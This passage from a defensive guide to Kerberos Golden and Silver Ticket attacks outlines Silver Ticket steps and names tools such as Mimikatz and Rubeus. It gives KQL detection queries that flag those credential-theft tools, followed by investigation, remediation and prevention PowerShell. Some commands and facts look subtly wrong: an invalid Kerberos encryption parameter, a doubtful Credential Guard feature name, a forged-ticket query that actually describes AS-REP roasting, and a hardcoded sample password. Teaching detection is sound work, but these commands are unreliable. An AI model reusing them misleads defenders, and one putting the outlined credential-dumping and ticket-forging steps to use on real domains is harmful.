   * Reduce reliance on static service accounts.
4. **Enable Windows Defender Credential Guard:**

```powershell
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-Credential-Guard
```

5. **Enable SIEM Alerts for KRBTGT Access:**
   * Alerts for access attempts on KRBTGT accounts.
6. **Restrict Domain Admin Access:**
   * Limit Domain Admin usage to secure workstations.

***

### 🧠 **6. Key Takeaways**

* **KRBTGT Hash is a Crown Jewel:** Protect it at all costs.
* **Golden Ticket = Unlimited Access:** Immediate remediation is critical.
* **Reset KRBTGT Twice:** Ensure old tickets are invalidated.
* **Continuous Monitoring:** Monitor Event IDs 4768, 4769, and ticket anomalies.
* **Least Privilege:** Limit Domain Admin account access and usage.

***

## 🚨 **Silver Ticket Attack**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is a Silver Ticket Attack?**

* A **Silver Ticket** attack is a Kerberos attack where an attacker **forges a Ticket Granting Service (TGS) ticket** for a specific **service** on a server.
* Unlike **Golden Ticket** attacks, which target the **KRBTGT account hash**, **Silver Ticket attacks target service account hashes (e.g., SQL Server, CIFS, HTTP, etc.)**.

#### 📑 **Why Attackers Use Silver Tickets?**

* **No Domain Controller Communication:** The forged TGS is validated directly by the target service, bypassing the Domain Controller.
* **Service-Level Access:** Attackers gain direct access to the specific service they target.
* **Stealth:** Since it bypasses the Domain Controller, detection is more difficult.
* **Persistence:** Valid TGS tickets can grant long-term access if service account passwords are not changed.

***

#### 📌 **Attack Steps:**

1️⃣ **Enumerate Service Accounts:** Identify service accounts (e.g., CIFS, MSSQLSvc, HTTP) using tools like **PowerView** or **ADExplorer**.\
2️⃣ **Extract Service Account Hash:** Use tools like **Mimikatz**, **Impacket**, or **Rubeus** to dump the NTLM hash of the target service account.\
3️⃣ **Forge TGS Ticket:** Generate a fake TGS using the extracted hash with tools like **Mimikatz** or **Rubeus**.\
4️⃣ **Inject the Ticket:** Inject the forged ticket into the current session.\
5️⃣ **Access the Target Service:** Authenticate to the service using the forged ticket.

***

#### 📊 **Common Tools for Silver Ticket Attacks**

| **Tool**       | **Purpose**                         |
| -------------- | ----------------------------------- |
| **Mimikatz**   | Create and inject Silver Tickets    |
| **Rubeus**     | Kerberos ticket manipulation        |
| **Impacket**   | Exploit service tickets and hashes  |
| **PowerView**  | Enumerate AD services and accounts  |
| **Kerberoast** | Extract service account credentials |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection with PowerShell**

**🕵️ Check Service Tickets with Suspicious Properties**

```powershell
klist tickets
```

* Look for:
  * **Unusually long ticket lifetimes**
  * **Unexpected usernames**
  * **Odd service names**

**🕵️ Monitor Event Logs for TGS Requests (Event ID 4769)**

* Open **Event Viewer → Security → Filter by Event ID 4769**
* Look for:
  * **Encryption Type:** `RC4-HMAC (0x17)` (often used in Silver Ticket attacks)
  * **Service Name:** Unusual or high-value services (e.g., `MSSQLSvc`, `CIFS`)

**🕵️ Inspect NTLM Hashes**

* Check for hash extraction activities:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4662}
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Service Ticket Requests**

```kusto
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4-HMAC
| where ServiceName in ("MSSQLSvc", "CIFS", "HTTP")
| project Timestamp, DeviceName, AccountName, ServiceName, IpAddress
```

**🕵️ Identify Forged Tickets (No Pre-Authentication)**

```kusto
SecurityEvent
| where EventID == 4769
| where FailureReason == "Pre-authentication not required"
| project Timestamp, DeviceName, AccountName, ServiceName, IpAddress
```

**🕵️ Look for Mimikatz/Rubeus Indicators**

```kusto
DeviceProcessEvents
| where FileName in~ ("mimikatz.exe", "rubeus.exe")
| where ProcessCommandLine contains "silver"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Detect Anomalous Ticket Lifetimes**

```kusto
SecurityEvent
| where EventID == 4769
| where TicketOptions contains "0x40810000"
| where AccountName != "krbtgt"
| project Timestamp, DeviceName, AccountName, TicketOptions, ServiceName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                  |
| ------------ | ------------------------------------------------ |
| **4769**     | Service Ticket Request                           |
| **4624**     | Account Logon                                    |
| **4771**     | Kerberos Pre-authentication failed               |
| **4662**     | Object Access (Indicates potential hash dumping) |

**📌 Focus on Event ID 4769:**

* Look for **Service Name** anomalies.
* Monitor **RC4-HMAC Encryption** usage.
* Look for **large ticket lifetimes**.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate TGS Ticket Requests**

* Check accounts frequently requesting TGS tickets for specific services:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769}
```

#### 2️⃣ **Identify Hash Dumping Activities**

* Look for NTLM hash dumps:

```powershell
Get-EventLog -LogName Security -InstanceId 4662 | Select-String "NTLM"
```

#### 3️⃣ **Trace Service Account Usage**

* Monitor service account activity:

```powershell
Get-ADUser -Identity ServiceAccountName -Properties LastLogonDate
```

#### 4️⃣ **Analyze Service Ticket Lifetimes**

* Compare standard ticket lifetimes with anomalies:

```powershell
klist tickets
```

#### 5️⃣ **Validate Source IP Addresses**

* Identify anomalous IP addresses requesting tickets:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Select-Object IpAddress
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Reset Service Account Passwords**

* Immediately reset the password of the affected service account:

```powershell
Set-ADAccountPassword -Identity ServiceAccountName -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "StrongP@ssw0rd!" -Force)
```

#### 📌 **2. Revoke Compromised Tickets**

* Invalidate existing Kerberos tickets:

```powershell
klist purge
```

#### 📌 **3. Monitor Service Accounts**

* Enable auditing on high-value service accounts.

#### 📌 **4. Rotate Service Account Passwords Periodically**

* Use **Managed Service Accounts (gMSA)** for automated password management.

#### 📌 **5. Terminate Malicious Processes**

* Stop any malicious tools still running:

```powershell
Stop-Process -Name "mimikatz" -Force
```

#### 📌 **6. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable AES Encryption for Kerberos:**

```powershell
Set-ADAccountControl -Identity ServiceAccountName -KerberosEncryptionType AES256
```

2. **Limit Service Account Privileges:**
   * Use **least privilege principle** for service accounts.
3. **Enable Logging and Auditing:**
   * Ensure **Event IDs 4769, 4624, 4771, and 4662** are actively monitored.
4. **Monitor Service Account Usage:**
   * Look for **unusual login patterns** or **ticket requests**.
5. **Restrict Admin Access:**
   * Limit access to tools like **Mimikatz**, **Rubeus**, and **Impacket**.
6. **Educate Security Teams:**
   * Train teams to identify **Kerberos anomalies** in event logs.

***

### 🧠 **6. Key Takeaways**

* **Service Account Security:** Rotate and secure service account passwords regularly.
* **Monitor RC4-HMAC Encryption:** It’s a common indicator of Silver Ticket attacks.
* **Focus on TGS Tickets:** Monitor ticket requests for abnormal lifetimes or pre-authentication failures.
* **Regular Audits:** Review high-privilege service accounts regularly.

***